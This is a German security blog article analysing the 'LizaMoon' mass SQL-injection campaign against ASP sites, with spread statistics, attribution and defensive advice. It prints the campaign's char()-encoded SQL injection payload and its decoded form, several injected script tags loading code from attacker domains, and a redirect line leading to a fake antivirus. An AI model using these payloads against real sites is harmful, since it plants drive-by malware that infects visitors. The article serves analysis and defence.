Dipl.-Inform. Carsten Eilers

SQL-Injection-Massenangriffe auf ASP-Seiten scheinen ein Anzeichen für den
Frühling zu sein, denn schon seit einigen Jahren gibt es immer wieder im
Frühling entsprechende Angriffe. Als würden dann ein paar Cyberkriminelle
aus dem Winterschlaf aufwachen oder ihre über den Winter entwickelten
Exploits von der Leine lassen. Auch dieses Jahr ist es wieder so weit. Am
29. März wurden von Websense die ersten infizierten Websites
beobachtet.
Anfangs wurde die Zeile

<script src=http://lizamoon.com/ur.php></script>

in die angegriffenen Seiten eingefügt, nach der der Angriff dann benannt
wurde: “LizaMoon”.

Grenzenloses Wachstum

Websense hat über Google die Entwicklung des Massen-Hacks verfolgt: Von
anfangs
28.00 Fundstellen (29. März)
über 226.000 und 380.000 zu
1.500.000 Fundstellen (31. März).

Das Verfolgen geht recht einfach, man muss dazu ja nur nach den eingeschleusten
Codezeilen suchen, die sich allerdings im Laufe des Angriffs regelmäßig
ändern, da die verwendeten Domains natürlich laufend aus dem Verkehr
gezogen werden. Zuletzt hat Websense daher nur noch nach

<script src=http://*/ur.php></script>

gesucht.

Allerdings werden immer auch etliche “False Positives” gefunden, z.B.
Seiten, auf denen der Code zwar enthalten, aber nicht ausführbar ist.
Das passiert z.B. durch eine Umkodierung der <– und
>-Zeichen in ihre HTML-Entities < und
> oder weil der Code an einer völlig falschen
Stelle steht, an der das script-Tag nicht ausgewertet wird.

Zur Zeit (7. April 2010, 11 Uhr) gibt es übrigens ca.
1.940.000 Fundstellen,
darunter aber wohl auch sehr viele Berichte über den Angriff und die
Fundstellen. Und gerade eben ist wieder eine dazu gekommen – diese Seite
hier. Ups…

(K)ein neuer Angriff

Websense konnte die ersten Angriffe inzwischen bis in den Dezember 2010
zurückverfolgen, Trend Micro
berichtet
von entsprechenden Angriffen mit anderen Zieldomains ab dem 25. März.
Laut Cisco
läuft der Angriff bereits seit dem 20. September 2010, dabei wurden bisher
42 Domains als Weiterleitungsziel verwendet – lizamoon.com ist die 41.
davon. Der Angriff scheint also langsam angefangen zu haben (jedenfalls
ist es nicht weiter aufgefallen), um nun einen Zwischen- oder Endspurt
einzulegen.

Mikko H. Hypponen von F-Secure hat LizaMoon-URLs auf Twitter
gefunden,
und im GFI LABS Blog wurden Fundstellen in kodierten
ViewState-Feldern
gemeldet.
Da die Cyberkriminellen bei ihren SQL-Injection-Angriffen quasi mit einer
Schrotflinte schießen, landet der Schadcode in allen möglichen
Datenbankfeldern, und die werden natürlich nicht nur auf Webseiten
ausgegeben, sondern auch anderweitig verwendet, z.B. eben beim Tweeten, in
ViewState-Feldern oder indem sie als RSS/XML-Feed an
Apple
gemeldet werden. Dadurch landet der Schadcode natürlich auch an Stellen,
an denen man ihn eigentlich nicht vermutet hätte.

Der SQL-Injection-Code

Websense hat als Beispiel den folgenden SQL-Injection-Code
veröffentlicht:

+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--

Ähnlicher Code wurde von Trend Micro
veröffentlicht.
Dekodiert man die
char()-Aufrufe,
die ASCII-Werte in Zeichen umwandeln, erhält man

</title><script src=http://google-stats50.info/ur.php></script>

und damit

update Table 
set FieldName = 
REPLACE( cast(FieldName as varchar(8000) ),
         cast(</title><script src=http://google-stats50.info/ur.php></script> as varchar(8000) ),
         cast( as varchar(8) )
       )--

cast()
dient der Umwandlung von Datentypen,
varchar()
sind Zeichenketten variabler Länge, und
REPLACE
ersetzt Zeichenkette.

Allerdings scheinen die Parameter im REPLACE-Aufruf vertauscht zu sein: Die
erste Zeichenkette (in diesem Fall also FieldName) wird nach
der zweiten (dem einzuschleusenden Code) durchsucht und dieser durch ein
Leerzeichen oder NULL ersetzt. So bekommt man den Schadcode aus dem String
raus, aber nicht rein. Um ihn rein zu bekommen, müssten zweiter und
dritter Parameter vertauscht werden, so dass die gefundenen Zeichen durch
den Schadcode ersetzt werden.

Außerdem gibt es in Zusammenhang mit diesem Code eine weitere
Auffälligkeit: Bereits am 24. September 2010 wurde auf Stack Overflow
gefragt,
was es damit auf sich hat. Evtl. handelt es sich also um eine Testversion
des jetzt verwendeten Codes, denn jetzt wird der Schadcode ja eindeutig in
die Websites eingeschleust.

Websense
berichtet
über Angriffe auf Microsoft SQL Server 2000, 2005 und 2008. Wie üblich,
werden aber keine Schwachstelle im SQL-Server selbst, sondern in den
betroffenen Webanwendungen ausgenutzt. Die enthalten schlicht und
ergreifend SQL-Injection-Schwachstellen. Warum die Massenhacks immer
wieder ASP-Seiten treffen und nicht z.B. PHP/MySQL, ist nicht bekannt.

Nachdem der Schadcode über die SQL-Injection in der Datenbank gespeichert
wurde, ist die “Arbeit” für die Cyberkriminellen erledigt. Jetzt müssen
sie nur noch darauf warten, dass die manipulierten Datenbankeinträge von
der Webanwendung in der Ausgabe verwendet werden. Und dabei hoffen, dass
sie dabei ausführbar bleiben.

Der Drive-by-Code

Der eingeschleuste Schadcode ist relativ simpel, er sieht
z.B.
so aus:

document.location = 'http://[Domain der Cyberkriminellen]/scan1b/237?sessionID=0500...';

Der Benutzer wird auf eine bösartige Webseite weitergeleitet, auf der ihm
dann ein
Fake-Virenscanner
untergeschoben werden soll. Der nennt sich Windows Stability
Center und findet jede Menge Bedrohungen. Die natürlich alle nicht
existieren. Was passiert, wenn ein Benutzer auf so eine präparierte Seite
gelangt, hat Websense in einem
Video
zusammengefasst.

Dancho Danchev hat die URLs
zurückverfolgt
und eine schöne Übersicht erstellt. Das Ergebnis: Die Domains, die den
Fake-Virenscanner letztendlich verbreiten, lassen sich zu wenigen
Servern zurückverfolgen. Die Domains wurden mit automatisch erstellten
Google-Mail-Accounts registriert, um die Erkennung der Domains an einer
einheitlichen E-Mail-Adresse zu verhindern.

Viel Rauch, wenig Feuer

Insgesamt scheint der aktuelle Massenangriff ziemlich harmlos ausgegangen
zu sein: Da die von den Cyberkriminellen verwendeten Domains zügig aus dem
Verkehr gezogen wurden oder gar nicht erst aktiv waren, der eingeschleuste
Weiterleitungscode
nicht sehr effektiv ist
und keine sehr populären Websites mit entsprechend vielen Besuchern mit dem
Schadcode infiziert wurden, ist die Zahl der Opfer
relativ gering.
Jedenfalls deutlich geringer, als man auf Grund der Fundstellen bei Google
befürchten konnte.
Laut Cisco
wurden im Zeitraum vom 20. September 2010 bis zum 31. März 2011 auch lediglich
1154 Websites infiziert.

Fazit

LizaMoon ist nicht wirklich so gefährlich, wie es anfangs schien. Falls
Sie eine ASP.NET-Webanwendung betreiben, sollten Sie aber
sicherheitshalber alle SQL-Abfragen
absichern.
PHP lockt zwar mehr Skriptkiddies an als ASP, dafür bekommt Ihre
ASP.NET-Anwendung es gleich mit den richtig bösen Buben zu tun.

Und im Endeffekt ist eine unsichtbare Infektion mit Schadcode, der Ihre
Besucher ins Verderben lockt, deutlich schlimmer als ein auf den ersten
Blick erkennbares, peinliches Defacement. Denn das betrifft nur Sie, und
Ihre Besucher lachen darüber – werden aber deren Rechner wegen Ihres
Fehlers mit einem Fake-Virenscanner infiziert, werden Sie kaum darüber
lachen können.

In der
nächsten Folge
geht es, wie bereits angekündigt, um Rootkits.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Drive-by-Infektionen – Gefahren drohen überall

Drive-by-Infektionen durch SQL-Injection vorbereitet

Drive-by-Infektionen: So kommt der Schadcode auf den Server

Drive-by-Infektionen – Vom Server auf den Client

Drive-by-Infektionen – Ein Blick auf die Exploits

Drive-by-Infektionen erkennen und abwehren

LizaMoon – Massenhack mit minimalen Folgen

Aktuelles: LizaMoon auf Apples iTunes-Seiten

Drive-by-Infektionen über präparierte Werbung